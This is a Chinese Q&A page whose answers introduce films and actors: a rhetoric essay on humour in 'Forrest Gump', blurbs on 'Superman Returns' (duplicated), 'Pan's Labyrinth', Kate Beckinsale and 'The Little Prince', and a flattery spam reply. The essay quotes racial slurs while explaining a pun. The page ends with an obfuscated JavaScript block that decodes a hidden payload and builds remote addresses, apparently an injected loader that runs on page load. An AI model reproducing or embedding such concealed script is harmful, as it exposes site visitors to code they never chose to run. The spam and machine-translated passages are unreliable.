口语介绍一部电影或演员

2025-02-21 12:04:47
推荐回答(5个)
回答1:

“Forrest Gump” is a definitive American movie. In its dialogues, humorous wits are shined by the teeth and flipped(轻弹;弹投) through tongues, especially from Forrest, who is with a marginal IQ, but leads a very charmed life. Rhetoric, as the main carrier of language, is very important in humors’ designs in “Forrest Gump”. In this movie, much main rhetoric is used in the dialogues, like anti-climax, comparison, hyperbole(夸张法), pun, transfer and irony, which carry millions of Forrest Gump’s style humors to us. In the following, the article will discuss how humors are represented through applications of other rhetoric in the dialogue of “Forrest Gump”.

marginal: Barely within a lower standard or limit of quality.
rhetoric: The art or study of using language effectively and persuasively.

1. Anticlimax and humor

In “American Traditional Dictionary”, anticlimax is defined as “A sudden descent in speaking or writing from the impressive or significant to the ludicrous or inconsequential, or an instance of it”. Anticlimax is a most popular carrier of humor in movies, because it is easy to be understood by the audiences and effectively brings them surprises and humors. In “Forrest Gump”, Forrest always uses anticlimax to catch audiences’ attention and interesting, and then he “fools” them with unexpected ends. Forrest is not only a stupid with a small IQ, but a master of language with great humor and wit. He fools people, who treat him as a fool.

Example 1

Forrest: Now the really good thing about meeting the President of the United States is the food.

Here is a classic anticlimax humor. In the dialogue, Forrest uses some descriptive words, “ really”, “of the United States”, to show us what a good thing he will share with us.

In front of the word of “good”, he adds emphasized word- “really”, which makes us believe that the thing he will mention is absolutely good for Forrest.

Meanwhile, in common people’s opinion, President is a big guy in the country. Especially when it is formally modified by “of the United States”, it is naturally to tell people “Attention, please. Ladies and Gentlemen. There must be something very, very important to be said by Forrest”. So we focus our attentions on what Forrest will say in the following. But for our surprise, the answer is “the food”. It is absolutely out of our expectation, and forms an anticlimax humor.

modify: 修饰,限制;更改,修改

The same type of dialogue by Forrest appears again in this movie. In Vietnam, Forrest says, “The good thing about Vietnam is there was always some place to go”.

As we all know, Vietnam is a nightmare for most Americans, which affects almost one generation. It hurts Americans much, so that many Americans are afraid to mention it, even today. But in Forrest’s opinion, there is a good thing about Vietnam, which puzzles us and pushes us to the curiousness, “what does he consider as the good thing in the Vietnam – the American heart-broken land. The end is simple and with some kind of stupid, which makes us feel humorous.

Example 2

Bubba: …… My given name is Benjamin Beauford Blue. People call me Bubba, ……

Forrest: My name’s Forrest Gump. People call me Forrest Gump.

This is dialogue between Bubba and Forrest in their first meeting. As conventions, they should introduce themselves. For Bubba, he has a very long formal name (I think the screenwriter designs this long name deliberately). So it is certainly shortened by people in daily life, and it is also easily accepted by us. After hearing Bubba’s introduction, we may have thought Forrest would use his famous introduction to shine himself- “ My name’s Forrest. Forrest Gump. But the screenwriter(剧作家) escapes from the conventional pattern. He thinks the answer as a real low-IQ, “ Bubba said the complete name firstly and then told me the shorten name. I shall answer it in the same form, which will be polite.” So in the movie, Forrest firstly introduces his whole name – Forrest Gump. And then he shall tell us the name, which people call him formally. We also eagerly want to know, “How do people call Forrest Gump? Is it ‘Forrest’ or else?” But even Forrest himself doesn’t know it. After hard-thinking, he tells Bubba the exact same one, which make us funny.

Example 3

Forrest: Now because I’d been a football star and a war hero and a national celebrity and shrimping boat captain and a college graduate, the city of Greenbow, Alabama decided to get together and offered me a fine job. ……

Forrest succeeds finally. He is a football star so that he is an idol(偶像) of Americans, who are crazy about the American football. He survives from Vietnam with a medal so that he wins fames in the political society. He can play ping-pong like a maniac, and visits China as one member of the All-American Ping Pong Team, which is the first American social group comes to China after 1949 and carrying famous Ping Pong Diplomacy. So he becomes a national celebrity after getting home and makes TV program with John Leon (the spirit of Beatles). Of course, Forrest also creates lots of amazing experiences, which shock the whole nation, like discovering Watergate scandals. Above all, He is one of millionaires, who are loved by American people so much. In a word, he catches Americans’ eyes from almost every class. And he can be described in one simple sentence, “ Forrest is a famous, wealthy and educated man”. Without doubt, he is an ideal candidate to the President of United State.

Forrest is so famous and important that the city of Greenbow, Alabama should get together and consider all things seriously. And then the government “offered me a fine job”. What’s the fine job? Everybody is expecting the answer eagerly. We should think, “ Maybe President is a bit of difficult for Forrest. Congressman is right, who needn’t to consider all things” But the government gives Forrest a more difficult job, an absolute technical job- gardener, far from our expectation.

2.Comparison and Humor

In real life, comparison always lies here and there. People like to compare one item to another in order to make things clear or express something special. In movies, comparison is always magnified artistically, and it sometimes turns into sharply contrasting. In this way, some humors appear.

Example 1

Doctor: …… But his back is as crooked as politician. ……

Here is a very short and clear comparison. I guess some China people don’t really understand the comparison and know what the humor is in this sentence. The reason lies in the background knowledge about Americans’ political opinions.

Only from this simple sentence, we can glimpse Americans’ typical opinion on politicians. They feel contempt for this kind of “political animals” because they think politicians always lie in public and not feel a thing. They usually waste money from taxpayers and do nothing. And some of them like to chase girls or make one another scandals. They are not normal people, and not moral people at the same time. So the doctor comparing Forrest’s back to politician’s twisting in the morality, just tells us Forrest’s back isn’t very strait. He makes one American humor, vivid and ethical.

Example 2

Mrs. Gump: Remember what I told you Forrest. You’re no different than anybody else is. Did you hear what I said, Forrest? You are the same as everybody else. You are no different.

Mr. Hillcock (the principal): Your boy’s different, Mrs.Gump. His IQ is 75.

Mrs. Gump: Well, we’re all different, Mr. Hillcock.

Here are two comparisons in dialogues. In first plot, Mrs. Gump emphasizes to Forrest he is exactly as same as everybody else. He is normal and not stupid. She specially emphasizes the last sentence – You are no different. As soon as her voice ends, the director changes to another plot, and the principal tells Mrs. Gump seriously “ You boy is different”. Then he further tells Mrs. Gump a cruel fact –“His IQ’s 75”, to testify that Forrest is a real stupid. This forms a very sharply contrasting. It is so sharply that we can’t feel a little funny

Instead, we feel very sorry for Forrest’s mama because it is not easy to be accepted by a mother when others tell her that her child is a stupid. Some of them maybe react it strongly, sad or mad. But for Mrs. Gump, she answers it wittily. “ We’re all different”, implying “My son might be a bit on the slow side. It’s just a little different. And it’s normal because we’re all different in the world. So my son is going to get the same opportunity to go to school as everyone else.”

She is a great mother with great humorous sophism.(诡辩)

Example 3

Lt. Dan: …… If you’re ever a shrimp(一种虾) boat captain, that’s the day I’m an astronaut(宇航员).

Forrest meets Lieutenant Dan in New York City when he gets home from China. They go to a bar to celebrate New Year. Forrest tells Lt. Dan he will keep promise with Bubba, so he will buy one shrimping boat as soon as he has some money. Lt. Dan doesn’t believe that, because he knows Forrest is a fool, who isn’t able to do any business by himself. Yes, he gets the Congress Medal, but Dan thinks it is a stupid thing what Goddamn(该死的) American government does to make a fool out of himself. He doesn’t really look down Forrest, but he really doesn’t believe he can do something. Meanwhile, he maybe considers he shall be the real backbone (支柱、骨干)of America who ought to receive the Congress Medal. And only the men like him are the hope of America. But he is nothing now, even no legs. How could he chase his dream? He gets nothing from government but alms and neglect. He resents the government who rubbishes him and has some envy to Forrest because he gets honor he dreams for.

So when Forrest says he will be the captain, he shouts to the crowds and says to Forrest bitterly “if you’re ever a shrimp boat captain, that’s the day I’m an astronaut.” Please remember the time when the story happened – about in the early of 1970’s. It is shortly after the first astronaut- Neil Armstrong lands the moon. At that time, to be an astronaut is an unrealized dream for almost all mankind. How does it come to a legless? Lt. Dan uses two positions to compare in order to tell Forrest, “ Don’t be silly, you will never be a captain.” But he selects a humorous and ironical way to express it.

3.Hyperbole and Humor

In “American Traditional Dictionary”, hyperbole is defined as “A figure of speech in which exaggeration is used for emphasis or effect, as in ‘I could sleep for a year’ or ‘This book weighs a ton.’” For Chinese people, humility is good virtue, and we think American is too simple and childish. Why? One important reason is that many Americans usually describe things or express feelings in some exaggerated ways. Sometimes, the exaggerations are far from the common sense and make some kind of humors. In “Forrest Gump”, the hero-Forrest Gump is an honest braggadocio, who adds a lot of humorous color to the dialogues.

Forrest: Hello. My name is Forrest. Forrest Gump. You wanna chocolate? I could eat about a million and a half of these. My mama always said, “ Life was like a box of chocolates. You never know what you’re going to get.” Those must be comfortable shoes. I bet you could walk all day in shoes like that and not feel a thing. I wish I had shoes like that.

The dialogue is at the beginning of the movie. Forrest sits on a bus bench and talks to a strange nurse. Forrest boasts he can eat about a million and half of chocolates. It is a typical American exaggeration, obvious and humorous. Of course, it is very easy for us to know that no one is able to eat so many chocolates as a human, maybe God will. Here Forrest overstates it in one billion of times, through which and with the tone of speaking, we will easily find Forrest is not in normal IQ.

In the following sentences, Forrest’s speech reveals some simple life philosophy. And at the last of his first important speech, Forrest, as other Americans, begins to flatter the nurse by her shoes and he uses another exaggeration- and not feels a thing.

Only from these words, Forrest shows us he is not a common people. He is something.
4.Pun and Humor

John Dryden describes the pun as “ to torture a poor word in tens of thousands of ways”. And in “Collinth English Dictionary”, pun is “the use of words or phrases to exploit ambiguities and innuendoes(暗讽、影射) in their meaning, usually for humorous effect.”

ambiguity: Doubtfulness or uncertainty as regards interpretation:
含糊不清;不明确解释有疑问或不确定

Pun is the main carrier in humors, which are printed in texts. Puns usually need the receivers to chewing it over and over and finding something funny. So it’s not easy for audiences to tell the pun and feel humorous when they enjoy one movie just for one time. However, puns still are often used in movies with some simple forms.

Forrest: What’s going on?

Student: Coons are trying to get into school.

Forrest: Coons? Well, raccoons try to get on our back porch, mama, just chases them of with a broom.

Here is a very simple and interesting Meaning Pun used in the dialogue. The screenwriter uses a homograph(同形异义字)- coon, which has two meanings. One is “A carnivorous(食肉类的) North American mammal(哺乳动物) having grayish-brown fur, black mask like facial markings, and a black-ringed bushy(浓密的) tail”. The meaning is what Forrest thinks. Another is “Used as a disparaging term for a Black person”, like the word of nigger. Here the student intends to tell Forrest that two niggers try to enroll in the college.

disparaging: 蔑视的, 毁谤的, 轻视的
coon: [动]浣熊, 无可救药者, <蔑>黑人
nigger: <美>被歧视者, 黑鬼(对黑人的蔑称)

In American history, the state of Alabama is one of the most serious states, which imposing the social separation of races. And the University of Alabama is the last college forbidding the Black registering in. We also can be certain that many people in this college, or even in the whole state, are not friendly to the Black. So the student picks an insulting word referring to the Black students. But for Forrest, he has no opinion of race discrimination. He thinks it is normal for the Black to enter the college and study with them. But it won’t cause so many people, even the Governor, the Commander and so many reporters, to attention it. It must be coons (animals) trying to get into the school, which surely is a big interesting thing for Forrest. But he also doesn’t understand why the small animals will cause so many big figures to the college. He thinks his mama and a broom are much enough to chase them off. The screenwriter uses a pun building a simple and pure Forrest’s image.

5.Irony and Humor

Irony is “An expression or utterance marked by a deliberate contrast between apparent and intended meaning”, usually for humorous or rhetorical effect. Ironies are widely used in the movies’ dialogues. You should have the capacity of good sense of humor and knowledge in American cultures.

Forrest: I only caught five

Boat Salesman: A couple more and you can have yourself a cocktail. ……

Although Bubba tells Forrest everything about shrimping, but Forrest still finds that shrimping is tough. One day, he only catches five after a-whole-day hard working. The boat salesman just makes a joke to Forrest in order to cheer him up. Meanwhile, he also tells Forrest a fact that Forrest catches too few.

There is also a background about the shrimp cocktail. Shrimp cocktail is a mixture of small pieces of shrimp, served cold and eaten at the beginning of a meal. It is usually an appetizer. So the number of shrimps that are used in the shrimp cocktail is not big. Several are enough. Here the boat salesman just uses the cocktail to make fun of the number of shrimps Forrest catches.

6.Transfer and Humor

Transfer is to convey or cause to pass from one place, person, or thing to another. In dialogues, talkers usually convey one topic to another one, or change from one focus to another. Especially when the question is too sharp or not convenient to answer. Sometimes one talker is deliberate to transfer the topic in order to avoid hurting another talker. The transfer in dialogues often causes some unexpected effects, like humor.

Officer: Private Gump

Forrest: Yes, sir

Officer: As you were. I have your discharge papers. Your service is up, son.

Forrest: Does this mean, I can’t play ping pong no more?

Officer: For the army it does.

In this dialogue, the officer sends the discharge papers to Forrest and tells him his service in army is over. But for Forrest, the first response is he can’t play ping pong any more. He makes us a surprise and fun because there is no directly connection between playing ping pong and ending service in the army. It is according to Forrest’s intelligent level, which makes him think everything straightly.

For the officer, he certainly knows Forrest is not high in his IQ. And he doesn’t answer the question directly, like “ No, my son. You can continue to play ping pong. But blah, blah, blah.” He answers the Forrest’s stupid question from another angle. Only by a few words, the officer explains the thing clearly, even for Forrest.

blah: Dull and uninteresting

Conclusion

Of course, the humors of movie are represented not only in the dialogues, but also in the design of plots or actors’ body languages. this is banner

In “Forrest Gump”, the screenwriter and director hide lots of humors in the designation of plots. For example, Forrest rubs elbows with many famous personalities over the last half of the century including Elvis Presley, Kennedy, Johnson, and Nixon. And he also involves in many big events in the history of America, like Vietnam War, Ping Pong’s Diplomacy and Watergate Scandal.

As to body languages, we have to mention a great master, – Charlie Chaplin. You would find it difficult not to laugh at his early films. Of course, Tom Hanks is also a good actor, who surely acts a gifted fool perfectly through his eyes, expression and his actions. We can find lots of humors in his acts.

Totally, the humor is a very distinguished characteristic in American Movies. It is usually represented to audiences by dialogues, plots and actors’ body languages. Especially in dialogues, humors are vivid and witty through applying some rhetoric.

I will end my paper by some integrated words from “Forrest Gump”: Hello. My name’s Forrest, Forrest Gump. I might be a bit on the slow side. But my mama says “stupid is as stupid does”. I have no ideas to be famous and just want to be me. But for no particular reason, I’d been a football star and a war hero and a national celebrity and shrimping boat captain and a college graduate. My mama always said, “Life is a box of chocolates. You never know what you’re going to get.” I just do the best with what God gave me, and you?

回答2:

Superman Returns超人归来
In Superman Returns the Man of Steel has aeparted Earth in search of what may remain of his home planet Krypton.When he returns several years later,he finds that the world no longer needs a hero,and neither does Loislane.The woman he loves has moved on with Superman Returns is his longtime namesis Lex luthor who is out of prison with another scheme up his sleeve.Superman must overcome his most obstacles yet and reclaim the heart of Lois and go out to prove that the world needs an example to follow--- and a hero.在<超人归来>中,这位钢铁勇士离开地球回到自己的家园氪星上寻根溯源.几年后当他重返地球时,却发现人们已不再需要英雄,路易死.莱恩也不再需要他.他心爱的女子已经有了自己的生活.而对他归来极为不满的宿敌莱克斯.卢瑟已逃出狱中,正在酝酿新的阴谋.超人还必须克服他的最大障碍,重新赢回路易丝的芳心,并向世人证明他们仍然需要一个追逐的榜样---需要英雄.

Bryan Singer,director of the Academy Award-win-ning Usual Suspects and the two X-men films,didn't know what to expect at a conference on July 16th.He was there to answer questions and show a few minutes of footage from Superman Returns,but was unsure if Brandon Routh would be accepted as the new Superman.The answer was obvious when 7,000 fans gave a standing ovation.Singer provides a first look at the greatest superhero of all.布莱恩.辛格,身为奥斯卡获奖影片<普通嫌疑犯>和两部的导演,并不知道7月16日的记者招待会将是怎样的情形.他亲临现场回答影迷提问,并播放了几分钟的<超人归来>片段,但他无法确认布兰登.罗斯是否会被大众接受,成为新一代超人.当7000个影迷起立欢呼时,答案已经不言自明了.辛格让我们先睹为快,领略了这位最伟大的超级英雄的风采.

回答3:

音乐之声是最好的!!! Laberinto del Fauno, El(2006)
中文译名:潘神的迷宫
流派(genre):魔幻现实主义 (Magical Realism )
MPAA:Rated R for graphic violence and some language.

In 1944, in the post-Civil War in Spain, rebels still fight in the mountains against the fascist troops. The young and imaginative Ofelia travels with her pregnant and sick mother Carmen Vidal to the country to meet and live with her stepfather, the sadistic and cruel Captain Vidal, in an old mill. During the night, Ofelia meets a fairy and together they go to a pit in the center of a maze where they meet a faun that tells that she is a princess from a kingdom in the underground. He also tells that her father is waiting for her, but she needs to accomplish three gruesome, tough and dangerous assignments first. Meanwhile, she becomes friend of the servant Mercedes, who is the sister of one of the rebels and actually is giving support to the group. In a dark, harsh and violent world, Ofelia lives her magical world trying to survive her tasks and sees her father and king again.

流派介绍:魔幻现实主义
Magic realism
Magic realism (or magical realism) is an artistic genre in which magical elements appear in an otherwise realistic setting. As used today the term is broadly descriptive rather than critically rigorous. The term was initially used by German art critic Franz Roh to describe painting which demonstrated an altered reality, but was later used by Venezuelan Arturo Uslar-Pietri to describe the work of certain Latin American writers. The Cuban writer Alejo Carpentier (a friend of Uslar-Pietri) used the term "lo real maravilloso" (roughly "marvelous reality") in the prologue to his novel The Kingdom of this World (1949). Carpentier's conception was of a kind of heightened reality in which elements of the miraculous could appear while seeming forced and unnatural. Carpentier's work was a key influence on the writers of the European "boom" that emerged in the 1960s.

有些东西口语描述不了的.见谅

Kate Beckinsale:
Kate Beckinsale (born July 26, 1973) is an English actress, known for her roles in the films Pearl Harbor (2001), Van Helsing (2004), and Underworld (2003).
Biography
Beckinsale was born in London to Judy Loe, a stage and television actress, and Richard Beckinsale, a television actor who died in 1979 at the age of 31. She has a paternal half-sister, Samantha, who is also an actress. Beckinsale's paternal great-grandfather was Burmese, and Beckinsale has said that she was "very oriental-looking" as a child.[1]
Beckinsale attended the private Godolphin and Latymer School,[2] and in her teens twice won the W. H. Smith Young Writers' competition — once for three short stories and once for three poems. After a rebellious adolescence, including a period of anorexia and starting a smoking habit, she followed in the footsteps of her parents and began her acting career. Her first role was in One Against the Wind, a television film about World War II that was first aired in 1991. Having gained three language A levels, Beckinsale studied French and Russian literature at New College, Oxford, though she did not finish her degree. She thought that having an academic background studying foreign language and literature would broaden her range of acting roles.

Superman Returns超人归来
In Superman Returns the Man of Steel has aeparted Earth in search of what may remain of his home planet Krypton.When he returns several years later,he finds that the world no longer needs a hero,and neither does Loislane.The woman he loves has moved on with Superman Returns is his longtime namesis Lex luthor who is out of prison with another scheme up his sleeve.Superman must overcome his most obstacles yet and reclaim the heart of Lois and go out to prove that the world needs an example to follow--- and a hero.在<超人归来>中,这位钢铁勇士离开地球回到自己的家园氪星上寻根溯源.几年后当他重返地球时,却发现人们已不再需要英雄,路易死.莱恩也不再需要他.他心爱的女子已经有了自己的生活.而对他归来极为不满的宿敌莱克斯.卢瑟已逃出狱中,正在酝酿新的阴谋.超人还必须克服他的最大障碍,重新赢回路易丝的芳心,并向世人证明他们仍然需要一个追逐的榜样---需要英雄.

Bryan Singer,director of the Academy Award-win-ning Usual Suspects and the two X-men films,didn't know what to expect at a conference on July 16th.He was there to answer questions and show a few minutes of footage from Superman Returns,but was unsure if Brandon Routh would be accepted as the new Superman.The answer was obvious when 7,000 fans gave a standing ovation.Singer provides a first look at the greatest superhero of all.布莱恩.辛格,身为奥斯卡获奖影片<普通嫌疑犯>和两部的导演,并不知道7月16日的记者招待会将是怎样的情形.他亲临现场回答影迷提问,并播放了几分钟的<超人归来>片段,但他无法确认布兰登.罗斯是否会被大众接受,成为新一代超人.当7000 个影迷起立欢呼时,答案已经不言自明了.辛格让我们先睹为快,领略了这位最伟大的超级英雄的风采.

回答4:

看了楼主的帖子,不由得精神为之一振,自觉七经八脉为之一畅,七窍倒也开了六巧半,自古英雄出少年,楼主年纪轻轻,就有经天纬地之才,定国安邦之智,古人云,卧龙凤雏得一而安天下,而今,天佑我大中华,沧海桑田5000年,中华神州平地一声雷,飞沙走石,大舞迷天,朦胧中,只见顶天立地一金甲天神立于天地间,这人英雄手持双斧,二目如电,一斧下去,混沌初开,二斧下去,女娲造人,三斧下去,小生倾倒.得此大英雄,实耐之幸也,民之福也,怎不叫人喜极而泣.......古人有少年楼主说为证,少年之楼主如红日初升,其道大光;河出伏流,一泻汪洋;潜龙腾渊,鳞爪飞扬;乳虎啸谷,百兽震惶;鹰隼试翼,风尘吸张;奇花初胎,皇皇;干将发硎,有作其芒;天戴其苍,地履其黄;纵有千古,横有八荒;小生对楼主之仰慕如滔滔江水连绵不绝,海枯石烂,天崩地裂,永不变心.
看完楼主的帖子,我的心情竟是久久不能平静。正如老子所云:大音希声,大象无形。我现在终于明白我缺乏的是什么了,正是楼主那种对真理的执着追求和楼主那种对理想的艰苦实践所产生的厚重感。面对楼主的帖子,我震惊得几乎不能动弹了,楼主那种裂纸欲出的大手笔,竟使我忍不住一次次地翻开楼主的帖子,每看一次,赞赏之情就激长数分,我总在想,是否有神灵活在它灵秀的外表下,以至能使人三月不知肉味,使人有余音绕梁、三日不绝的感受。楼主,你写得实在是太好了。我惟一能做的,就只有把这个帖子顶上去这件事了。
楼主的帖子实在是写得太好了。文笔流畅,修辞得体,深得魏晋诸朝遗风,更将唐风宋骨发扬得入木三分,能在有生之年看见楼主的这个帖子。实在是我三生之幸啊。看完楼主的这个帖子之后,我竟产生出一种无以名之的悲痛感——啊,这么好的帖子,如果将来我再也看不到了,那我该怎么办?那我该怎么办?直到我毫不犹豫地把楼主的这个帖子收藏了,我内心的那种激动才逐渐平静下来。可是我立刻想到,这么好的帖子,倘若别人看不到,那么不是浪费楼主的心血吗?经过痛苦的思想斗争,我终于下定决心,牺牲小我,奉献大我。我要拿出这帖子奉献给世人赏阅,我要把这个帖子一直往上顶,往上顶!顶到所有人都看到为止!
在遇到你之前,我对人世间是否有真正的圣人是怀疑的;而现在,我终于相信了!我曾经忘情于两汉的歌赋,我曾经惊讶于李杜的诗才,我曾经流连于宋元的词曲。但现在,我才知道我有多么浅薄!
楼主,你的高尚情操太让人感动了。在现在这样一个物欲横流的金钱社会里,竟然还能见到楼主这样的性情中人,无疑是我这辈子最大的幸运。让我深深感受到了人性的伟大。楼主的帖子,就好比黑暗中刺裂夜空的闪电,又好比撕开乌云的阳光,一瞬间就让我如饮甘露,让我明白了永恒的真理在这个世界上是真实存在着的。只有楼主这样具备广阔胸怀和完整知识体系的人,才能作为这真理的惟一引言者。看了楼主的帖子,我陷入了严肃的思考中。我认为,如果不把楼主的帖子顶上去,就是对真理的一种背叛,就是对谬论的极大妥协。因此,我决定义无返顾地顶了!

回答5:

"Young Prince" narrates is lonely, the sad child's story, he lives ona young star. One day, he left the star which he lives, starts totravel. He passed through various star, afterwards, he arrived theEarth, finally, he returned to his star.
In the travel, the young prince saw the of all forms person in thesociety confused:
King, loves the vanity person
The drunkard, for put behind ashamed drinks
The industrialist, only likes calculating the astronomy number typemoney
Their only common ground, in the heart fills the vanity
In the travel, the young prince discovered that, the people arethe places which always does not will satisfy oneself lives, they arepursuing happiness with hardship, but actually frequently crudelyhappily expels from the side
He and the author met one another in the desert, they graduallyhave become the friend. Seeks naive which loses to that, with move.
《小王子》讲述的是一个孤独、忧伤的孩子的故事,他住在一个小星球上。有一天,他离开了他居住的星球,开始旅行。他经过了各种各样的星球,后来,他来到了地球,最后,他又回到了他的星球。
在旅行中,小王子看到了形形色色的人在社会里迷茫:
国王,爱虚荣的人.
酒鬼,为了忘却羞愧而喝酒.
实业家,只爱计算着天文数目样的金钱.
他们唯一的共同点,心中充满虚荣
在旅行中,小王子发现,人们是从来也不会满意自己所居住的地方,他们苦苦追求着幸福,但却常常粗暴地把幸福从身边赶走
在沙漠中他和作者相遇了,他们渐渐的成了朋友。寻找到那失去的天真,与感动。

这个很不错的,不仅适合小孩,对于大人也同样合适,它告诉我们很多道理,人在长大后会逐步失去很多天真,童趣,其实最喜欢一句话:沙漠里有一口井,人们的眼睛是看不见的,唯有用心才能发现.呵呵 你看一下吧,这个很简单,意义却深刻

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 